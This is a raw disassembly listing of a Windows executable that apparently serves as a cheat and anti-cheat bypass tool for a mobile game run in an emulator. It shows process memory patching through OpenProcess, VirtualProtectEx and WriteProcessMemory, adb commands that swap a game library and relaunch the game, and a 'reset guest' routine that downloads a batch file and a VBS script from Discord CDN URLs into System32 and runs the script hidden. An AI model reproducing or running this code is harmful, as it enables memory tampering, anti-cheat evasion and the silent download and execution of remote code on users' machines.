add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
call fcn.1400bd5b8
mov rdx, qword [rbp + 0x968]
and r13d, 0xfffffffe
mov dword [rbp - 0x7c], r13d
cmp rdx, 0x10
jb 0x140055044
mov rcx, qword [rbp + 0x950]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005503f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
call fcn.1400bd5b8
mov rcx, qword [0x1408c9f58]
call fcn.14004ced0
call fcn.14004dd90
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, 3
mov qword [rbp + 0x990], rax
mov r15, rax
call fcn.1400bd99c
mov ecx, ntohs
mov qword [rbp - 0x58], rax
mov word [rax], 0x8c2
mov byte [rax + 2], 0
call fcn.1400bd99c
lea rcx, [rbp + 0x9b8]
mov qword [rbp + 0x9c8], r12
mov qword [rsp + 0x20], rcx
xorps xmm0, xmm0
mov rcx, r15
mov r9, rax
mov dword [rax], 0xa178d368
mov dword [rax + 4], 0x604ee83c
mov dword [rax + 8], 0x8d710000
movdqu xmmword [rbp + 0x9b8], xmm0
call fcn.14005b970
mov rax, qword [rbp + 0x9c0]
mov r14, qword [rbp + 0x9b8]
cmp r14, rax
jne 0x140055143
test r14, r14
je 0x14005526f
mov rax, qword [rbp + 0x9c8]
sub rax, r14
sar rax, 3
lea rdx, [rax*8]
mov rax, r14
cmp rdx, 0x1000
jb 0x140055124
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
mov rcx, r14
call fcn.1400bd5b8
xorps xmm0, xmm0
mov qword [rbp + 0x9c8], r12
movdqu xmmword [rbp + 0x9b8], xmm0
jmp 0x14005526f
sub rax, r14
mov r13d, r12d
sar rax, 3
mov qword [rbp + 0x950], rax
test rax, rax
je 0x140055211
mov r12, r14
mov r15d, dword [r12]
lea rax, [rbp + 0x9d4]
mov rcx, qword [rbp + 0x990]
mov r9d, 0x40
mov edx, r15d
mov qword [rsp + 0x20], rax
lea r8d, [r9 - 0x3d]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rbp - 0x58]
xor eax, eax
mov rcx, qword [rbp + 0x990]
mov edx, r15d
mov qword [rsp + 0x20], rax
lea r9d, [rax + 3]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rbp + 0x9d4]
test eax, eax
setne al
mov byte [rbp - 0x80], al
test r9d, r9d
je 0x1400551e8
mov edx, r15d
lea rax, [rbp + 0xa08]
mov r15, qword [rbp + 0x990]
mov r8d, 3
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movzx eax, byte [rbp - 0x80]
jmp 0x1400551ef
mov r15, qword [rbp + 0x990]
test al, al
je 0x14005549c
inc r13d
add r12, 8
movsxd rax, r13d
cmp rax, qword [rbp + 0x950]
jb 0x140055160
xor r12d, r12d
test r14, r14
je 0x14005526b
mov rax, qword [rbp + 0x9c8]
sub rax, r14
sar rax, 3
lea rdx, [rax*8]
mov rax, r14
cmp rdx, 0x1000
jb 0x140055251
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
mov rcx, r14
call fcn.1400bd5b8
mov qword [rbp + 0x9c8], r12
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x9b8], xmm0
mov r13d, dword [rbp - 0x7c]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14004cd00
lea rcx, [rbp + 0xb00]
call fcn.140058660
mov rdx, qword [rbp + 0x9f8]
cmp rdx, 0x10
jb 0x1400552ca
mov rcx, qword [rbp + 0x9e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400552c5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
call fcn.1400bd5b8
mov r12, qword [rbp + 0x100]
lea rdx, [rbp + 0x108]
mov dword [rbp + 0x108], 0x434d0000
lea rcx, str.Start_Game
mov dword [rbp + 0x10c], 0x41f00000
call fcn.14003c230
test al, al
je 0x140055514
mov eax, dword [0x1408b6360]
test eax, eax
jne 0x1400554f6
xorps xmm0, xmm0
lea rdx, [rbp + 0x6a0]
movups xmmword [rbp + 0x6a0], xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
call fcn.140002cb0
call fcn.1400015d0
xor r15d, r15d
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
lea rdx, str.C:Windows_tsbp
mov qword [rbp - 0x78], r15
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x68], r15
lea r8d, [r15 + 0xf]
call fcn.140059490
cmp qword [rbp - 0x60], 0x10
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x30], r15
mov eax, 1
cmovae rcx, qword [rbp - 0x78]
mov edx, 0xc0000000
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400553ce
lea r9, [rbp + 0x9d0]
mov dword [rbp + 0x9d0], r15d
mov r8d, 0x8db44
mov qword [rsp + 0x20], r15
lea rdx, [0x14081fdc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140055409
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055404
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b93
call fcn.1400bd5b8
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.adb_kill_server
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_devices
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__f__data_data_com.tencent.ig_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_push_C:Windows_tsbp__data_data_com.tencent.ig_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_am_start__n_com.tencent.ig_com.epicgames.ue4.SplashActivity
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__f__data_data_com.tencent.ig_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__f__data_data_com.stallin.tg_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:Windows_tsbp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Game_Bypassed_Successfully...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
call fcn.14004de50
mov eax, dword [0x1408b6360]
jmp 0x1400554f9
test r14, r14
je 0x14005526b
mov rax, qword [rbp + 0x9c8]
sub rax, r14
sar rax, 3
lea rdx, [rax*8]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400554e0
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
mov rcx, r14
call fcn.1400bd5b8
xor eax, eax
mov qword [rbp + 0x9c8], rax
jmp 0x140055260
xor r15d, r15d
cmp eax, 1
je 0x140056d1e
cmp eax, 2
je 0x1400574e2
cmp eax, 3
je 0x140057113
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x434d0000
lea rcx, str.RESET_GUEST
mov dword [rbp + 0x114], 0x41f00000
call fcn.14003c5b0
test al, al
je 0x14005564b
lea rdx, str.C:WindowsSystem32guest_reset.bat
lea rcx, [rbp + 0x998]
call fcn.140058af0
lea rcx, [rbp + 0x998]
call fcn.14004dba0
lea rcx, [rbp + 0x998]
movzx r14d, al
call fcn.140058a00
xor r15d, r15d
test r14b, r14b
jne 0x140055598
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, str.C:Windows_system32guest_reset.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1110977306761101423_1110998160756711535_guest_reset.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32invisible.vbs
lea rcx, [rbp + 0x998]
call fcn.140058af0
lea rcx, [rbp + 0x998]
call fcn.14004dba0
lea rcx, [rbp + 0x998]
movzx r14d, al
call fcn.140058a00
test r14b, r14b
jne 0x1400555ea
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, str.C:Windows_system32invisible.vbs
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1111880911932366889_invisible.vbs
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.start_C:WindowsSystem32invisible.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Reset_Guest_Done_...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rdx, str.del_C:Windowsguest_reset.bat
lea rcx, [rbp + 0x998]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rdx, str.del_C:Windowsinvisible.vbs
lea rcx, [rbp + 0x998]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
call fcn.1400107d0
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [rbp + 0x118]
mov dword [rbp + 0x118], 0x42820000
lea rcx, [0x140145c00]
mov dword [rbp + 0x11c], 0x42dc0000
call fcn.140010740
movaps xmm0, xmm7
call fcn.140017410
lea rcx, str.90_FPS
call fcn.14003b840
lea rdx, [0x1408ffe9c]
lea rcx, str.90_FPS
call fcn.14004d760
cmp byte [0x1408ffe9c], 1
jne 0x1400556d0
call fcn.14004f490
lea rdx, str.90_FPS_SUCCESS..
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rcx, [0x140145c24]
call fcn.14003b840
lea rdx, [0x1408fbaff]
lea rcx, [0x140145c24]
call fcn.14004d760
cmp byte [0x1408fbaff], 1
jne 0x140055710
call fcn.14004f1e0
lea rdx, str.UHD_SUCCESS..
lea rcx, [0x1408b51b8]
call fcn.1400589e0
call fcn.1400107d0
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [rbp + 0x120]
mov dword [rbp + 0x120], 0x43f50000
lea rcx, [0x140145c38]
mov dword [rbp + 0x124], 0x437a0000
call fcn.140010740
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x6d0]
movaps xmm1, xmm15
call fcn.140007170
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
mov r14d, reloc.WS2_32.dll_recv
mov eax, dword [r14 + r12]
cmp dword [0x140901f00], eax
jle 0x1400557c0
lea rcx, [0x140901f00]
call fcn.1400bd208
cmp dword [0x140901f00], 0xffffffff
jne 0x1400557c0
lea rcx, [0x140901f00]
mov dword [0x140901ec0], 0x42b60000
mov dword [0x140901ec4], 0x43100000
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901ea8], eax
jle 0x14005580c
lea rcx, [0x140901ea8]
call fcn.1400bd208
cmp dword [0x140901ea8], 0xffffffff
jne 0x14005580c
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901e20]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901ea8]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901de8], eax
jle 0x140055858
lea rcx, [0x140901de8]
call fcn.1400bd208
cmp dword [0x140901de8], 0xffffffff
jne 0x140055858
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901da0]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901de8]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901e98], eax
jle 0x140055893
lea rcx, [0x140901e98]
call fcn.1400bd208
cmp dword [0x140901e98], 0xffffffff
jne 0x140055893
movups xmm0, xmmword [0x140901da0]
lea rcx, [0x140901e98]
movups xmmword [0x140901e50], xmm0
call fcn.1400bd1a8
lea rdx, [0x140901e50]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
lea rdx, [0x140901e50]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140009770
lea rdx, [0x140901e50]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140009770
mov edx, 0xff00ff00
call fcn.1400096b0
lea rcx, [rbp + 0x128]
mov dword [rbp + 0x128], 0
mov dword [rbp + 0x12c], 0x41200000
call fcn.140017340
mov rdx, qword [0x140901ec0]
lea rcx, [0x1400d0724]
call fcn.14004d660
mov ecx, 3
mov r10d, eax
call fcn.1400097d0
cmp r10d, 2
jne 0x1400559f2
lea rcx, [rbp + 0x130]
mov dword [rbp + 0x130], 0
mov dword [rbp + 0x134], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x6e0]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x6f0]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408c9f68]
lea r9, [rbp + 0x138]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x148]
mov dword [rbp + 0x138], 0x3f800000
mov dword [rbp + 0x13c], 0x3f800000
mov qword [rbp + 0x140], 0
mov dword [rbp + 0x148], 0x42dc0000
mov dword [rbp + 0x14c], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
lea rdx, str.Global
lea rcx, [0x1408b51f8]
call fcn.1400589e0
jmp 0x140055b7d
cmp r10d, 1
jne 0x140055ab7
lea rcx, [rbp + 0x150]
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x820]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x710]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408c9f68]
lea r9, [rbp + 0x158]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x158], 0x3f800000
mov dword [rbp + 0x15c], 0x3f800000
mov qword [rbp + 0x160], 0
mov dword [rbp + 0x168], 0x42dc0000
mov dword [rbp + 0x16c], 0x43230000
jmp 0x140055b73
test r10d, r10d
jne 0x140055b7d
lea rcx, [rbp + 0x170]
mov dword [rbp + 0x170], r10d
mov dword [rbp + 0x174], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x720]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x730]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b6328]
lea r9, [rbp + 0x178]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x188]
mov dword [rbp + 0x178], 0x3f800000
mov dword [rbp + 0x17c], 0x3f800000
mov qword [rbp + 0x180], 0
mov dword [rbp + 0x188], 0x42dc0000
mov dword [rbp + 0x18c], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
mov r15d, 1
mov ecx, r15d
call fcn.1400097d0
mov ecx, r15d
call fcn.1400097d0
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
movss xmm0, dword [0x140145ee4]
call fcn.1400173c0
movss xmm0, dword [0x140145edc]
call fcn.140017410
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x740]
movaps xmm1, xmm15
call fcn.140007170
mov rdx, rax
lea ecx, [r15 + 0x14]
call fcn.140009770
mov edx, 0xff0000ff
call fcn.1400096b0
mov eax, dword [r14 + r12]
cmp dword [0x140901dc0], eax
jle 0x140055c34
lea rcx, [0x140901dc0]
call fcn.1400bd208
cmp dword [0x140901dc0], 0xffffffff
jne 0x140055c34
lea rcx, [0x140901dc0]
mov dword [0x140901e18], 0x42b60000
mov dword [0x140901e1c], 0x43100000
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901f88], eax
jle 0x140055c80
lea rcx, [0x140901f88]
call fcn.1400bd208
cmp dword [0x140901f88], 0xffffffff
jne 0x140055c80
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901dd8]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901f88]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901f50], eax
jle 0x140055ccc
lea rcx, [0x140901f50]
call fcn.1400bd208
cmp dword [0x140901f50], 0xffffffff
jne 0x140055ccc
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901ee8]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901f50]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901f70], eax
jle 0x140055d07
lea rcx, [0x140901f70]
call fcn.1400bd208
cmp dword [0x140901f70], 0xffffffff
jne 0x140055d07
movups xmm0, xmmword [0x140901ee8]
lea rcx, [0x140901f70]
movups xmmword [0x140901e70], xmm0
call fcn.1400bd1a8
lea rdx, [0x140901e70]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
lea rdx, [0x140901e70]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140009770
lea rdx, [0x140901e70]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140009770
lea rcx, [rbp + 0x190]
mov dword [rbp + 0x190], 0x42f00000
mov dword [rbp + 0x194], 0x41200000
call fcn.140017340
mov rdx, qword [0x140901e18]
lea rcx, [0x140145c44]
call fcn.14004d660
mov ecx, 3
mov r10d, eax
call fcn.1400097d0
lea rcx, [rbp + 0x198]
mov dword [rbp + 0x198], 0x42f00000
mov dword [rbp + 0x19c], 0x41200000
call fcn.140017340
cmp r10d, 2
jne 0x140055e86
lea rcx, [rbp + 0x1a0]
mov dword [rbp + 0x1a0], 0x42fa0000
mov dword [rbp + 0x1a4], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x750]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x760]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b6330]
lea r9, [rbp + 0x1a8]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b8]
mov dword [rbp + 0x1a8], 0x3f800000
mov dword [rbp + 0x1ac], 0x3f800000
mov qword [rbp + 0x1b0], 0
mov dword [rbp + 0x1b8], 0x42dc0000
mov dword [rbp + 0x1bc], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
lea rdx, str.Korea
lea rcx, [0x1408b51f8]
call fcn.1400589e0
mov dword [0x1408b6360], 3
jmp 0x140056013
cmp r10d, r15d
jne 0x140055f4a
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x42f00000
mov dword [rbp + 0x1c4], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x770]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x780]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b6330]
lea r9, [rbp + 0x1c8]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x1d8]
mov dword [rbp + 0x1c8], 0x3f800000
mov dword [rbp + 0x1cc], 0x3f800000
mov qword [rbp + 0x1d0], 0
mov dword [rbp + 0x1d8], 0x42dc0000
mov dword [rbp + 0x1dc], 0x43230000
jmp 0x140056009
test r10d, r10d
jne 0x140056013
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x42f00000
mov dword [rbp + 0x1e4], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x810]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x7a0]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408c9f60]
lea r9, [rbp + 0x1e8]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x1f8]
mov dword [rbp + 0x1e8], 0x3f800000
mov dword [rbp + 0x1ec], 0x3f800000
mov qword [rbp + 0x1f0], 0
mov dword [rbp + 0x1f8], 0x42dc0000
mov dword [rbp + 0x1fc], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
mov ecx, r15d
call fcn.1400097d0
mov ecx, r15d
call fcn.1400097d0
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x7b0]
movaps xmm1, xmm15
call fcn.140007170
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
mov eax, dword [r14 + r12]
cmp dword [0x140901f74], eax
jle 0x140056090
lea rcx, [0x140901f74]
call fcn.1400bd208
cmp dword [0x140901f74], 0xffffffff
jne 0x140056090
lea rcx, [0x140901f74]
mov dword [0x140901eb0], 0x42b60000
mov dword [0x140901eb4], 0x43100000
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901e84], eax
jle 0x1400560dc
lea rcx, [0x140901e84]
call fcn.1400bd208
cmp dword [0x140901e84], 0xffffffff
jne 0x1400560dc
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901db0]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901e84]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901e80], eax
jle 0x140056128
lea rcx, [0x140901e80]
call fcn.1400bd208
cmp dword [0x140901e80], 0xffffffff
jne 0x140056128
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901f08]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901e80]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901e8c], eax
jle 0x140056163
lea rcx, [0x140901e8c]
call fcn.1400bd208
cmp dword [0x140901e8c], 0xffffffff
jne 0x140056163
movups xmm0, xmmword [0x140901f08]
lea rcx, [0x140901e8c]
movups xmmword [0x140901e00], xmm0
call fcn.1400bd1a8
lea rdx, [0x140901e00]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
lea rdx, [0x140901e00]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140009770
lea rdx, [0x140901e00]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140009770
mov edx, 0xff00ff00
call fcn.1400096b0
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x200], 0x43700000
mov dword [rbp + 0x204], 0x41200000
call fcn.140017340
mov rdx, qword [0x140901eb0]
lea rcx, [0x14013ff80]
call fcn.14004d660
mov ecx, 3
mov r10d, eax
call fcn.1400097d0
cmp r10d, 2
jne 0x1400562cc
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x208], 0x43700000
mov dword [rbp + 0x20c], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x7c0]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x7d0]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b63b8]
lea r9, [rbp + 0x210]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x220]
mov dword [rbp + 0x210], 0x3f800000
mov dword [rbp + 0x214], 0x3f800000
mov qword [rbp + 0x218], 0
mov dword [rbp + 0x220], 0x42dc0000
mov dword [rbp + 0x224], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
lea rdx, str.TAIWAN
lea rcx, [0x1408b51f8]
call fcn.1400589e0
mov dword [0x1408b6360], 2
jmp 0x140056459
cmp r10d, r15d
jne 0x140056390
lea rcx, [rbp + 0x228]
mov dword [rbp + 0x228], 0x43700000
mov dword [rbp + 0x22c], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x7e0]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x7f0]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b63b8]
lea r9, [rbp + 0x230]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x238]
lea rdx, [rbp + 0x240]
mov dword [rbp + 0x230], 0x3f800000
mov dword [rbp + 0x234], 0x3f800000
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x240], 0x42dc0000
mov dword [rbp + 0x244], 0x43230000
jmp 0x14005644f
test r10d, r10d
jne 0x140056459
lea rcx, [rbp + 0x248]
mov dword [rbp + 0x248], 0x43700000
mov dword [rbp + 0x24c], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x800]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x790]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b6310]
lea r9, [rbp + 0x250]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x260]
mov dword [rbp + 0x250], 0x3f800000
mov dword [rbp + 0x254], 0x3f800000
mov qword [rbp + 0x258], 0
mov dword [rbp + 0x260], 0x42dc0000
mov dword [rbp + 0x264], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
mov ecx, r15d
call fcn.1400097d0
mov ecx, r15d
call fcn.1400097d0
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x700]
movaps xmm1, xmm15
call fcn.140007170
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
mov eax, dword [r14 + r12]
cmp dword [0x140901f54], eax
jle 0x1400564d6
lea rcx, [0x140901f54]
call fcn.1400bd208
cmp dword [0x140901f54], 0xffffffff
jne 0x1400564d6
lea rcx, [0x140901f54]
mov dword [0x140901e90], 0x42b60000
mov dword [0x140901e94], 0x43100000
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901edc], eax
jle 0x140056522
lea rcx, [0x140901edc]
call fcn.1400bd208
cmp dword [0x140901edc], 0xffffffff
jne 0x140056522
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901f20]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901edc]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901ef8], eax
jle 0x14005656e
lea rcx, [0x140901ef8]
call fcn.1400bd208
cmp dword [0x140901ef8], 0xffffffff
jne 0x14005656e
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [0x140901f78]
movaps xmm1, xmm15
call fcn.140007170
lea rcx, [0x140901ef8]
call fcn.1400bd1a8
mov eax, dword [r14 + r12]
cmp dword [0x140901ed0], eax
jle 0x1400565a9
lea rcx, [0x140901ed0]
call fcn.1400bd208
